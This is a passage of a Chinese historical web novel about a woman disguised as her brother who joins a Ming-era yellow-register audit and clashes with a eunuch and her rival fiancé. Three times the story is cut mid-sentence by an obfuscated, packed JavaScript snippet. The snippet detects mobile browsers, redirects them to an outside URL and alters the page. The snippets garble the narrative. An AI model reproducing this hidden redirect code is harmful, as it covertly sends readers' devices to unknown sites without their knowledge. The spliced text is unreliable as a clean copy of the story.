距离中秋驳查完毕也仅两个月，留给她的时间不多，是成是败，郎瑛愿赌上一生，甚至性命，企盼天可见怜，指点迷津。 * 夜幕已深，号舍禁烟火，白纱窗推开了条缝，月光丝丝缕缕渗进来，屋内倒也亮堂，白色苎麻纱帐与月色缠绕，竟有些许美感。 王蕴章和粟满楼用纱布捕了些流萤，绿色的光影在屋中缓缓亮起。 四人围着金桂坐着。 金桂将笔头在嘴巴中润了润，就着粟满楼和王蕴章提着的流萤灯，模糊地写字：摸骨，可否？ “可可可……咳咳咳……”王蕴章忙不迭答着，一不留神呛风咳起来。 金桂转向王蕴章，写道：你求什么？ 王蕴章说道：“我什么是时候拿回我的锅，不，我什么时候摸我的锅。” 金桂要伸出的双手又收回，写道：这种小事，就不要消耗我的精力，换一个。 “唔……”王蕴章想了想，道，“家母缠绵病榻十余年，她是否可以看到我日后为官，造福一方的一天？” 金桂闭着眼，在王蕴章的脑袋上细细摸着，在簿子上写道：可。 王蕴章猛烈拍着金桂的背：“太灵了！” 老监生追问：“你帮我算算，我何时能离开国子监？” 金桂摸骨后，写道：今年。 老监生喜不自胜，小跑出号舍，临湖吟诗。 一直追着金桂算卦的粟满楼，此时倒是有点犹豫了，仰望着房梁，沉思。 王蕴章推着他：“你快说说，金兄过时不候。” 粟满楼情绪低迷地说：“以后我能维持家业昌盛、人和事旺吗？” 金桂细细摸骨，也不知是不是有意报复，按得粟满楼疼得吱哇乱叫。 迟疑片刻，金桂写下：万事求人，不如求己，万般无奈事，不愧于心而已。 粟满楼将流萤灯靠得页面极近，眼睛几乎要贴上去，忽的，笑了：“有道理！的确神准！” 不一会儿，郎瑛感觉到老监生在她身边坐下，盯着她看。 成事在人，但现在，她也想知道未来的走向，即便是自欺欺人也好，她问：“九月底前，我能笑着走出后湖吗？” 王蕴章摇扇乘凉：“后湖虫蛇出没，又炎热潮湿，白天还要在蒸笼似的库房内不停驳查。不哭着出去就不错了，还笑着？啧啧……天真，太天真了！” 金桂将要对郎瑛摸骨的瞬间，老监生的声音从门口传来：“快看，湖外有烟火！” “砰——”地一声，彩烟升腾，在夜空中炸开，金枝玉叶在一瞬间盛放，又隐于黑暗。 围着金桂的几人，在烟火照亮的瞬间僵硬了。 连着老监生，号舍共五人对吧？ 金桂、郎瑛、粟满楼、王蕴章几人眼珠急速转动，目数在场的人数。 无论怎么数，现场共有6人。 老监生在门口，那么刚才进来的人是谁？！ 又一朵烟花急速升腾，猛烈炸开，恰似在场人所有人的心跳。 “啊——！！！”几人尖叫着跑出号舍。 独留郎瑛与那人挨着坐。 不是她不想跑，只是坐久，脚有些麻，实在使不上劲。 那人散着鬼气，缓缓靠近她，嘴唇慢慢提起一个笑，眼里映着绿莹莹的烟火，像极了一条巨蟒的眼仁：“大舅哥。” 她看清了，那人是她的未婚夫——裴停云。 而此刻，她作为“郎初”，是他的大舅哥。 裴停云声音冷冽，激得郎瑛鸡皮疙瘩立起：“好久不见，再见真是——冤家路窄。” 7. 戴罪牌 烟花倏忽而落，二人又归拢于漆黑一片。 其余四人落荒而逃，让出了空间，裴停云施施然起身，抖了抖袍子上不存在的灰尘，打量着拥挤逼仄的号舍。 郎瑛预料到，同作为监生的裴停云可能会参与此次驳查，但万万不愿与他同寝，蛇蝎之人，心肠冷硬，与他同行，必生困阻，更何况郎家与裴停云的梁子不小，他若是能袖手旁观，郎瑛恨不得向他作揖道声：阿弥陀佛。 实在不愿与他纠缠，郎瑛持着沉默是金的原则，悄悄退出号舍。 “站住。”某人发话了，周身仿佛冒着丝丝寒气。 郎瑛收回跨出门槛的那只脚，并未转身，冷淡道：“裴兄，何事？” 裴停云已至她身后，冷笑一声：“裴兄？” 似乎觉得有趣，裴停云又重复了一遍：“莲六郎，国子监中，就数你骨头最硬，往常见到我，视若无人。如今倒好，形势颠倒，人也乖觉了。” 郎瑛暗恨自己，竟忘了二哥嫉恶如仇，最最轻蔑裴停云这类奸佞宵小，又如何会放低姿态唤他裴兄，干脆只道：“小妹已与你定亲，裴兄是想让我直呼你的名姓？” “未为不可。但我更习惯你唤我——”裴停云面容冷寂，眼神却似乎要把她的脸烫个窟窿，“净街貂。” 貂珰借指宦官，裴停云为炙手可热内廷掌印太监义子，自是狐假虎威，走街净道，行人避退，“净街貂”之名再合适不过。 郎瑛肩膀忍不住一耸，暗叹羸弱的二哥往往将力气用在这些旁门左道，太诛心。 “就是他——”粟满楼风风火火领着小吏前来，“小生入后湖，未见过此人，非请入室，非奸即盗，请重重惩戒。” “监生裴停云啊。”小吏眯了眼，了然地放松肩膀，阻止卷袖欲向前的王蕴章：“唉唉唉？干什么？” 王蕴章素闻裴停云大名，扯着金桂欲将人“请出去”：“把人架出去啊！” “一、二、三、四、五、六。”小吏环顾一圈，数着人头，没好脾气地叹气：“裴公子与你们同号舍，明白？” 除了郎瑛、裴停云，其余号舍四人如遭雷劈——这没人敢触的霉头就这么水灵灵地落在他们号舍了？！ 小吏走进里屋，指着最里的一张床铺，对着裴停云笑道：“裴公子，你的铺位在这里。” 裴停云目光落在另一侧相对的铺位。 小吏了然，问道：“这是谁的铺位？” 四人对着郎瑛哀婉摇头，却绷不住的庆幸：“监生郎初的铺位。” 郎瑛感觉心脏漏了一块，呼啦啦地透风，暑热天，浑身却寒津津。 裴停云挑眉：“原来我与连襟铺位近在咫尺。” 此话一出，郎瑛缓缓闭眼，决定用一整晚来消化这个事实。 今晚是他们入后湖的第一天，茅房往往五个号舍共用一个，洗衣、沐浴的四个瓮堂则是一千二百名监生合用。 后湖上的吃喝洗撒睡，郎瑛原以为亟待解决的便是洗、撒二项，茅房单间，仅容一人入内，自己少些吃喝，能免则免。沐浴尽量两三日一次，挑夜深人静时快速擦身。 眼下看来，最待解决的便是，与她同寝距离不超半臂的裴停云。 郎瑛背对他侧卧，却总觉得一道目光牢牢锁在自己身上，如芒在背。她直至双目酸涩胀痛，才终于坠入不知深浅的梦境。 * 一声声钟鼓声侵入梦境，郎瑛一哆嗦惊醒，茫然地看着周遭的事物，终于确信自己身在后湖。 不多思量，郎瑛取过纤薄的澜衫仔细穿戴整齐。 对面床铺空荡，裴停云不知何时已收拾妥当，不知去向。 摇醒其余四人，郎瑛洗漱完毕便冲向点卯厅。 * 晨光未露，天边已透出鱼肚白的微光。 后湖诸岛上翠鸟啼鸣相和，声声清脆，搅破清晨的寂静，好不热闹。 新入湖的监生们静立队列之末，户部主事季逢春与一名身着绿色贴里的宦官端坐于太师椅上。 旁侧小吏手持名册高声唱点，另一名小宦官则紧盯簿录，神色凝重。 厅上的大宦官，郎瑛认得，正是前日代裴停云来提亲的领队太监，箭镞擦着他的唇而过，如今唇上还结着一道鲜红的痂，指节抬起，时不时遮掩这难堪的痕迹。 另一个小太监，曾为裴停云俯身作过脚蹬，瞧着机灵秀逸，面容白净，这般品貌却入了内廷，倒让人无端生出几分惋惜。 “郎初——”小吏喊道。 郎瑛朗声答道：“在。” 监生人群入石子入水，涌起了一小阵骚动，窸窸窣窣的声响中夹杂着“郎瞻”“极刑”等字眼。 “王蕴章——”小吏预备往下报，却被绿色贴里的宦官止住。 “打住。”宦官开口却挣破了嘴上伤疤，倒吸一口气忍住痛意出声，“哪个郎初？” 小宦官立刻接话问道：“哪位是监生郎初？走上前来。” 监生们忽然噤声，立刻后退为郎瑛空出一条道，她目光如炬，盯着上首的那个宦官，大步上前，风吹拂袖袍，翻飞飘逸，自有一番清傲不群的气度。 “果然是你。”宦官眼里有亮色，旋又腾起恼恨的气焰，“那日放冷箭的竖子！” 户部主事季逢春面色起了波澜，下垂的八字眉微微吊起，看着二人：“德顺公公，怎么……？” “呵。”宦官德顺轻呵一声，被箭吓得瘫倒这种事当然没脸说出口，随意找了个借口，“小宦就是想见见让陛下恼极的郎家人，是长得什么反骨模样。” 户部主事季逢春沉声道：“郎初，退下。” “郎初，按着理，今日你该给我恭敬地行大礼，若不是司礼监，你还有如今替郎家将功赎罪的机会？”宦官德顺捧着茶盅，居高临下看着郎瑛，面部肌肉扭曲着笑起来，“休教我找着一丝差错，否则，不是今日一句‘退下’就轻飘飘结束的。” 郎瑛睁着眼，直刺上首那名宦官，不骄不躁：“多谢公公提点。在下自当尽心竭力，为陛下分忧。”言罢即转身归列，衣袂掠风。 宦官德顺仍阴狠狠地盯着郎瑛，嘴唇咬的久了，血色渗出，他缓缓舔入口中，一副琢磨玩弄的姿态。 * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546740|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二百名监生由季逢春亲领至空库房，每间库房约三分地，可纳三十名监生。 东西向的大窗台上，各立了只细颈青瓷瓶，淡粉的荷花骨朵含羞垂首，露珠凝在瓷身，一青一粉混着晶莹，俨然晶光透碧空，与书案上的金色黄册遥相呼应，仿若朝霞金玉交辉，共绘成一幅清雅端方的盛世图卷。 东北至奴儿干都司，南至旧港宣慰司，西至哈密卫，疆域之内，国家的所有人口皆载于这一尺三寸长的金色簿子。 “一国赋税之根本，尽系于此案之上。”户部主事季逢春肃然道，“天下各司、府、州、县的人丁田亩诸数，皆悬于算珠之上、笔锋之末，更系于诸君的一颗公心。” 季逢春目光扫过众监生：“稍后将派人详解黄册驳查体例规范与要领，望诸君耳听、眼观、心记。最终，本官唯有一求，各位分毫谬误，皆不可有。若有错，便有惩。” 话毕，宦官福顺也巡视至此，立在门框中，遮挡住大幅天光，室内气氛僵持。 他提着尖细的嗓音说道：“狗儿。” 年轻的小太监弯腰上前，手里拿着一件物事：“公公，小的在。” 宦官福顺无视季逢春，眼皮耷拉着，双手交叠于腹：“给他吧。” 小太监狗儿听到宦官福顺的发话，在人群中看见郎瑛后，将木牌高举于头顶，将脑袋低低埋在胸口，送至郎瑛面前。 郎瑛不动声色地上前一步，双手不动，下巴轻抬看去。 小太监手里捧着一手掌长宽的木牌，上用朱红色写就“戴罪牌”三字。 罪人之弟，自然也是罪人，是旁人眼里洗不清的黥刑。 “还不拿着戴脖上？”宦官厉声相逼。 郎瑛转身询问季逢春：“大人，请问可是户部授意？” 季逢春那双八字眉吊得愈发高了，心中已是怒涛翻涌，黄册驳查本就是悬在户部颈上的一根绳索，如今司礼监偏派来个阴晴不定的宦官横加搅扰，明摆着是借机寻衅、报私泄愤，简直要将户部脖颈上那根绳索又狠狠勒紧三分。 若应对不当，司礼监指不定会在陛下耳边乱吹风。 户部威严和司礼监颜面既不能落下风，也不能互相顶针，那……只能委屈一下监生本人了。 “谁授意又有何重要。”季逢春轻咳一声，“郎瞻犯禁乃是事实，为人臣、人子、人弟，你在后湖这一个多月为兄诚心赎罪，于公于私，皆是一份功德。对己身而言，诸位监生也会对你另眼相看，想来，你也不愿在这孤岛上处处受制、遭人冷眼吧？” 图尽匕现，一切不过是宦官的公报私仇，而这糊涂户部主事又是一个爱推粪球的应声虫。 想及此，郎瑛忍不住发笑，官场上的和光同尘，大约就是如此吧。 小宦官狗儿将木牌上的麻绳拎起，毕恭毕敬走至她身边，伸手欲将绳圈套上郎瑛头顶。 四周监生皆屏息凝神，饶有兴味地看着这位名动国子监的“莲六郎”受此屈辱，绳圈将落未落，只差毫厘。 人群之中，裴停云仍静立旁观，神色淡然，唯有指尖在袖间轻轻点动，露出一丝难自抑的兴奋。 8. 泥淖玉 常言道，麻绳专挑细处断，命运专挑苦命人。 在场的噤声瞧着那根直挺挺的脖子如何弯下，而不在场者只会茶余饭后闲谈着郎家的遭遇，轻叹一声此乃失势太子心腹的“报应”。 眼下，那根麻绳被小宦官绷得圆圆的，缓缓圈着郎瑛的脑袋落下，如同厚雪落下捕雀的陷阱，放心跳进去吧，陷阱的方圆大着呢，在绳索收束前，必不会使你有陷入黑暗前的惊悸。 麻绳是细处的麻绳，郎瑛可不认为自己是那个苦命人，可能要让所有人失望了—— “啊——”小宦官狗儿的手臂被郎瑛捉去，猛地向后掰折，那副麻绳圈随之坠地。 郎瑛眼疾脚快，脚尖攒了点巧劲，轻轻一提，圈绳套在脚背，滴溜溜转着，越旋越快，圈绳越转越浑圆，冷不丁足尖向前一递，麻绳飞圈在宦官福顺内使帽上，木牌砸在宦官的唇上，伤疤彻底绷开，红艳艳的血色蜿蜒而下。 在场人被郎瑛一出脚尖戏法耍得惊呆，叫好之声被宦官福顺的阴狠脸色吓得化作唾沫，默不作声咽了回去。 宦官福顺惊诧地胸部剧烈起伏，抖着手将戴罪牌猛摔在地，口中血沫狂喷，气不可遏：“来……来人！把这杂种给我狠狠打！往死里打，活该剥皮的家伙！” 季逢春倒吸一口气，手指着郎瑛：“监生郎初竟敢当众滋事，蔑视内廷，还不跪下！” 郎瑛振了振双袖，向着季逢春作揖：“不知有何过错。” “竟有脸问！”宦官福顺抢话，“杖五十，流放！” “人贵自知之明。”郎瑛笑眼微弯，“小生今日才知，公公对自己判罚如此公正。” 季逢春：？ 福顺：？？？ 裴停云眉心微动，袖中的指尖轻捻，这双笑意弯弯的眼睛实在是勾人，惹得他的目光舍不得离开郎初一瞬。 若不是两人势同水火，此时他倒想做个好人，替郎初说几句好话。 可是，好人有必要做吗？ 真没必要，好话郎初永远记不得，但招惹郎初，倒是会被惦记一辈子。 让郎初孤立无援、众人排挤，再踩上许多只脚，让这个如玉琢的人从供台上翻下去，落在干硬泥地上，碎成千万片，再浇上滚烫的水，泥水裹上郎初的眼。 再到这时，他再伸出脚，看着郎初在他脚面乞服，这样才算是快意！ 出乎裴停云意料的是，眼前的“郎初”面上竟无半分惧色，反而向前踏出一步，口称“御史大人”，二人虽仅隔一人之距，可“郎初”的视线径直越过他，眸中未曾映出他的半分影子。 御史冯春普被一阵嘈杂声引至此，方踏入内，黑压压的面孔齐唰唰看向他，竟让他凭空生出几分压力。 忽闻一声清朗的“御史大人”，只见一名容色出众的监生正望向他，冯春普缓缓眨了眨眼，权作回应。二百监生首日驳查便喧哗至此，实是他历年所见最不堪的一届。 户部主事季逢春刚大致说了一句事件经过，宦官福顺便掐断季逢春的话头，自顾自添油加醋，竟延伸至皇明太祖高皇帝年间。 郎瑛只觉心力交瘁，暗忖：何不干脆从盘古开天辟地讲起？ 御史冯春普面向郎瑛，问道：“是如他所说？” “御史大人，小生只想和福顺公公确认两件事情。”郎瑛问道，“请问福顺公公，您可是今日早晨入后湖？戴罪牌可是您安排我戴上？” 宦官福顺对小宦官狗儿使了眼色，狗儿睁着清明的眼，缓缓点头。 郎瑛缓缓摇头，对着御史冯春普深揖，语气笃定：“福顺公公犯了两禁，刚他本人已自陈杖五十，流放赎罪。” “放……放……放屁！”宦官福顺惊呆了，无措地看向众人，“我何时犯禁！” “公公所犯首罪，乃故意违禁，擅启弊端。湖中船只钥匙分由内府司礼监与户部共掌。今日公公知法犯法，明知后湖五日一渡，昨日方过，再渡当在四日后，而非今日。”郎瑛抚着小宦官狗儿身上的袍子，湿漉漉沾着水汽，声音渐沉，“昔年，后湖暴毙监生，皆须待至过湖日方可处置。监生尚且如此，何以公公竟连祖宗明令都置之不顾？” “二则，公公擅自制‘戴罪牌’，凭空捏造罪责，枉视三法司。”郎瑛缓缓呼出一气，再睁开略红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546741|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼，“陛下已判长兄极刑，并未罪及胞弟，我又何来罪责？陛下既招我入后湖驳查黄册，便是望我体察圣心，勿以兄长之罪为负累。若我有罪，请拿来三法司的文书。” “若我无罪，这‘戴罪牌’便是视三法司为无物，一旦日夜佩戴，敢问我所核每一册黄册，岂不皆成‘罪物’？”郎瑛狠狠道，“福顺公公倚仗圣恩，恣意妄为，破坏法度。是可忍孰不可忍？！” 宦官福顺与郎瑛目光相接，完全被她的气势和言辞吓得汗不敢出，不敢细思，颤声说完“信口雌黄！”后，便双眼发晕，后仰倒了下去。 御史冯春普细细看了眼口若悬河的小监生，一边暗叹真乃有口才的小辈，另一边又恨不得捂紧她的嘴巴，这番话一出口，既入了他的耳朵，折子是不得不递上去了。 与户部主事季逢春略一确认后，御史冯春普招来两名小吏，让他们搀扶着四仰八叉倒地的宦官福顺回去休息。 御史冯春普深深看了眼郎瑛说了声：“各位，后湖湿气重，好自为之。”便走了。 户部主事季逢春脑仁被一上午的事情搅得晕眩，在将所有监生驳查位次安排完毕，与老好人段绮正交接后，便甩着袖子火速向户部侍郎赵世衡汇报刚才的小冲突。 季逢春烦躁，这事儿吧，说大也大，流放不守规矩的宦官，能让司礼监不安生个把月。这事儿吧，说小也小，小监生过把嘴瘾，他搭上两晚的教导。 老天爷，这姓郎的怎么没一个软和的柿子好捏呢？！ 老的——郎砚之，看起来斯文柔和，实则水做的人，软的不吃，硬的不服，自己顾着奔腾到海，兢兢业业做一辈子太子党，两袖清风得过分。 小的——郎瞻，京城有名的大善人，弱的、残的、小的，都统统照拂到位，配的上一句“兰君”美名，只是误入歧途下场可惜了些。 小小的——郎初，过于放浪，仗着皮相肆意妄为，配上几分不错的口舌，将所有人迷得七荤八素，待你以为他乖巧懂事时，再一撂蹶子，还是软硬不吃。 “倒霉了，尽吃郎家人的亏了。”季逢春捂着岔气的肋骨，啐道。 9. 朱砂痣 户部主事段绮正捋着胡子，姿态威仪，眼珠将在场监生左右扫视，对着王蕴章深深看去：“来下。” 王蕴章心里一跳，自己与这位主事大人素昧平生，此番大庭广众之下点名，想必是自己品性出众，听着周边的窃窃私语，王蕴章按捺着雀跃快步前去。 二人行至库房外，王蕴章清了清喉咙，正欲自报家门，段绮正却招手示意他靠近。 段绮正压低声音道：“方才库房内发生了何事？与我细细讲来，不要泛泛而谈。” 王蕴章看着段绮正翕动的耳朵、发亮的眼睛，顿觉失望，自己竟成了他搜罗闲话的耳目，只得苦着脸将来龙去脉一一道来。 段绮正越听越入迷，眉飞色舞，末了抚掌：“有意思。” 王蕴章见他兴致大好，心念微动，趁机拱手道：“段大人，小生有一请求。” “唔——”段绮正仍沉浸在方才的趣闻中，神思飘忽，“何事？” “在下平生别无他好，唯独痴迷庖厨之事，每日必得养护厨具一番才能入眠。”王蕴章指了指自己乌黑的眼圈，“本次入后湖带厨具被千户斥责，幸得侍郎赵大人怜悯，厨具入了膳房。小生实在想念得紧，恳求大人能通融一二，容我前去瞧上一眼也好。在此拜谢大人厚恩了。” 王蕴章说罢竟撩袍欲跪，段绮正吓得连忙蹲身搀住：“使不得，区区小事，何至于此。” 闻此，王蕴章泪光闪烁：“大人，当真？” “当、真。”段绮正心中有些悔意，但说出去的话，一字一个唾沫钉，只能硬着头皮应下，艰涩道，“你那套厨具用料上乘，必定被膳长收纳。待我与膳长吩咐一声，晚间餐食后，容你前去一观。除你外，万不可让他人知晓。” 王蕴章点头如鸡啄米：“在下谨记于心，不辜负大人苦心。” 库房内，监生分成两拨，一拨与郎瑛划清界限，又在偷偷觑她一言一行，声如蚊蝇数落着郎家云端跌落的轶事。 一拨团在门口，注视着不远处的户部主事段绮正、王蕴章二人，试图从动作、嘴唇的幅度解读二人关系。 “王兄指了指自己的嘴，饿得要跪倒，却被段主事拦住。”粟满楼抻着脖子，目不转睛地盯着，一面指尖点着金桂的簿子，“主事道‘琼林，我与尔父深情厚谊，待我与膳长吩咐一声，晚间餐食后，容你前去一餐。除你外，万不可让别人知晓’。” 杵在门口的监生们艳羡不已，后湖伙食仅能称得上能入口而已，和“美味”二字八竿子打不着，若是能够开个小灶，添点油水便是天大的恩赐。 一见二人向着库房走来，纷纷作鸟兽散，众神归位，鸦雀无声，只是瞧见王蕴章那春风得意的样，众人更加认定粟满楼无虚言，户部主事段绮正和王蕴章关系匪浅。 众人心头不约而同浮起一个念头：今夜定要悄悄尾随王蕴章去膳房，哪怕腆着脸，也定要蹭上小灶餐食！ 郎瑛左右的书案，随着她的落座，纷纷刻意拉开距离，嫌恶似地掸了掸案面。 看着周围大出一圈的空间，郎瑛惬意地伸展胳膊、腿脚，随意向着周遭拱手致谢，隐约听到恨恨磨牙声。 户部主事段绮正站在库房上首，向着新入后湖的监生们说道：“想必诸君皆知晓，这一个多月头等要事便是驳查黄册。” “黄册十年一驳查，驳查前朝廷昭告天下府、州、县编赋役黄册，一百一十户人家为一里，鳏寡孤独除外，称作‘畸零’，放置末尾。每里为一册，册首为一图。册子汇总成一本，进后湖的册子黄纸封皮，称为‘黄册’，布政司、州、县亦各存一本青纸封皮册子，顾名思义为‘青册’。” “内页用上等细绵纸造册，正楷书写。天下百端，军民灶匠等籍皆于其中，分上中下三等，上户富裕，中户自给自足，下户辛勤维持生计，下下户便是刚才言道的畸零户，附于册后。”段绮正拿起一本黄册，翻开内页继续道，“册中细明了人丁、事产，含旧管、新收、开除。旧管指十年前黄册人口、田产数据，是驳查的根基。新收是十年来人口增加、田地新置情况。开除是减少的人口田产。” “诸君定要细细核算，本次各地提交的黄册数据，在旧管的基础上，新收、开除，与最终数额是否一致。”段绮正眯眼笑，乐呵呵的模样，“黄册供圣上御览，切忌不可作弊、损毁、轻玩，否则将以‘弃毁制书律’处斩弃市呢呵呵呵……” 众人默默吞了口口水，段绮正乐悠悠的模样看得心中发毛。 段绮正简要交待了，如今虽法律严明，但仍有人包藏祸心，企图以“诡寄”方式将大量田产分散登记躲避差粮；又或者以“飞洒”手段将田产虚报、隐瞒；亦或是篡改户籍，动摇民心，务必要仔细查对，磨算明白。 “每人五日领册二尺黄册驳查，若有疑处，随时与我等商议，若确存异情，加盖‘驳’字印，发回重造册。”段绮正捋着胡须看着众人，似乎已目见事毕后的圆满，“事在人为，唯望用心。静待诸君佳音。” 一上午，书案上的黄册尚未清完，后湖库匠又挑来几扁担，算珠噼里啪啦声在库房中回荡不绝，如催命符般紧逼。 监生六人一号舍，便是六人连坐，一荣俱荣，一损俱损，功劳尚不奢望，但求无过，挣个苦劳罢了。 夏阳似炉火，爬上天幕，便炙烤起来，库房中监生们的喘息声渐渐重了，可抬头看看，又唯恐自己落了下风。 再者，念着监生郎瞻的例子，无人敢松懈。 段绮正端坐上首，倦了，便踱步于监生之间，细察进度，略作点评。 遇见手脚慢些的监生，段绮正便注入慈爱目光，手掌轻拍肩膀，以示鼓励。若遇聪明机灵、手脚麻利的，则频频颔首，在桌角轻敲两下，以示嘉许。 郎瑛号舍六人，被错落安排在库房内，她抬头看去，王蕴章、老监生、金桂被安排前排。 老监生老牛推磨慢悠悠瞧着册页，再一下又一下拨着算珠。王蕴章则双手翻飞，算珠一顿推弄，看看结果，绞着头发，再一顿推弄，直至数据准确才吐出一口浊气。 金桂乃朝鲜遣明夷生，本不该由外邦学子核算大明人口田亩，但据闻朝鲜特使曾觐见永乐帝，恳切陈情，盼习黄册制度以效上国。恰逢黄册十年之期至，特拨了金桂等夷生入后湖学习一二。 段绮正对这个异邦监生颇多在意，频频点拨，似乎效果不大，干脆搬了个圈椅坐在他一旁，盯紧金桂的一举一动，不停轻拍金桂的肩膀以示鼓励。 但似乎……金桂的压力更大了。 身后忽有人踢她凳腿，郎瑛猝不及防向前倾去，前方那人行云流水般的算珠声戛然而止，周遭气压骤沉，但见袖口下修长的指节悬停一瞬，又缓缓落回算盘，复又拨动起来。 郎瑛看着这人的背影只觉得眼熟，看到那人脖颈处的朱砂色的红痣，猛然想到那天迷晕裴停云后，他浑身赤裸躺在榻上，肤色白净如纸，只有一颗红痣扎眼，唯这粒红痣灼灼如血，恰似雪地里溅落的朱砂。 噫吁嚱！驳查竟也与裴停云为邻，上天对她太薄情。 后方又传来一声嗤笑，郎瑛侧脸看去，只见粟满楼正瞧着金桂的窘态暗自窃笑，连手中算珠的拨动声都与那笑声节奏相合，当真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546742|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了“人珠合一”的绝佳境界。 郎瑛盘算完手中的一里人口数据，佯装放松向后一靠，粟满楼的算珠齐齐回落，唉声叹气重新盘算。 * 午时已至，监生们揉着手指，叫嚷着往膳房走去。 王蕴章被一队人簇拥着向前，丈二和尚摸不着头脑地赔笑走着，心里摸不准发生了什么事，一上午功夫，原本泛泛之交的同窗竟热情恐怖如斯。 回首时，发现已远远将号舍其他人甩至身后，遂挥着胳膊催促快些跟上。 同行监生提醒：“与其他人交好皆可，唯独郎初、裴停云万不可深交。一个是罪人胞弟，摸不准陛下事后会不会降罪，离远些总是好的。至于裴大公子，阉人义子，为人龌龊，不足与其交。” 周围人压低嗓音：“小声些，被‘净街貂’听见，没好果子吃嗷。” 王蕴章想着郎家二郎君的风姿为人，苦恼挠头：“可惜清汤燕菜了，无缘呐……” 一听“清汤燕菜”，簇拥他的监生们互相递颜色：今晚，跟着他有清汤燕菜吃！ 郎瑛故意拖慢脚步，悄然混入另一组监生之中，目光扫过一张张陌生面孔时，她心头骤然一滞，竟在人群深处瞥见了阿兄的挚友陈冠。 监生陈冠垂头丧气走着，别人与他搭话，他只有气无力地点头、摇头。 郎瑛双手拨开一个个肩膀，悄然贴近陈冠身侧：“陈大哥，我是郎瞻的胞弟郎初。” 失魂落魄的陈冠冷不丁听到“郎瞻”的名字，失控惊恐大叫，一把将郎瑛推开：“滚开！去死吧！” 郎瑛踉跄后退，脸色煞白：“陈大哥，你与阿兄自幼相识，情同手足，怎么会……” 周遭监生瞬间围拢过来，与陈冠同行的数人迅速将他护在身后，横眉冷对郎瑛，厉声呵斥：“休得纠缠！” “败类郎瞻，自行不义事，竟拉上陈兄垫背！” “你与郎瞻同等假模假样，内里腥臭腌臜。” “退开！” “滚！” …… 言辞越来越激烈，恶毒的诅咒不绝于耳，层层叠叠，如扑灯飞蛾，如浪涌将她团团围住。 陈冠是阿兄最亲密挚友。 难道， 阿兄……他真的犯了错？ 他是， 罪有应得吗？ 一张张面孔狰狞着、嘶吼着“死有余辜”，日头到了顶，郎瑛的气血似乎褪到了地底，浑身冷得要命，她仰起脸，沐浴烈日的暴晒，但是没有一丝热度。 阿兄的话似乎犹在耳边：“待四个月的黄册驳查结束，我只盼着两件事，一件是背着你出阁上花轿。一件是去地方赴任。” 不会的，阿兄一心为民，又为何会舞弊，做奸佞小人？！ 额头一阵晕眩，郎瑛身子晃了晃，她恍惚的睁开眼，天地一切血红，冰凉的液体在脸上流淌。 眼前，陈冠弓着身子，声嘶力竭地大口喘息，眼中满是惊慌，手中攥着石头。 手木然地擦去额头的水渍，手掌一片暗红。 周围的喧哗瞬间停止，人群自动开道，裴停云冷着脸走来，慢条斯理地走至郎瑛身前，目中是满足的幽光。 裴停云袖中抽出一方白帕，不容抗拒地按在郎瑛的额头，讥诮道：““知道我如今看你，像看什么吗？” “你像是一条不如狗的纸虎。” 裴停云指尖力道骤增，帕下鲜血汩汩涌出，顷刻浸透素绢：“我曾经视你为敌，现在却觉得，竟为了你这等忍受叭儿狗们狂吠的货色，耿耿于怀多年，实乃平生之耻。” 10. 莲六郎 一道黑影懒散歪斜，百无聊赖看着人群，以手搭凉棚遮阳，漫声道：“户部侍郎赵世衡、户科给事中徐彩和等大人的奏请已被准奏，聚众喧哗、不服管束的，允许监临的科、道、部、属等官员根据实情进行弹劾，参送法司。” 话音未落，人群如潮水骤退，涌向四周。 黑影将额头的手放下，露出粟满楼热得黑红的脸，看着人群中半边脸血红的郎瑛，对着所有人指指点点：“若是被砸成痴傻儿，你们各家轮流接去奉养终身。” 金桂捧着簿子笔走龙蛇，正专注记录踏入大明后遇见的第一场斗殴，他身姿灵巧地在纷乱人群中穿梭，事无巨细，一一落纸。 “与我无关！我只是个看热闹的！” “路过！纯属路过！” 慌乱的辩白声顿时四起，一哄而散。 围观人群四散，争闹的中心，只余陈冠及同行三人，以及郎瑛、裴停云等人。 此时，后湖管册官员刚从查册官厅议事毕，绯色、深绿色、青色的官服如彩云般迤逦而行。 一小吏指着郎瑛所在之处，低声禀报。 那些“云彩”略一停滞，又稳稳向前飘来，为首的户部侍郎赵世衡远远地瞥了眼，面沉如水，没什么表情，立在廊下。 小吏快步前来，对着众人说道：“侍郎大人，唤各位前去。” 歪着身子的粟满楼看清领头的人物，登时拽着金桂的衣领闪进树后，却被小吏眼疾手快挡下：“侍郎大人也让您也去呢。” 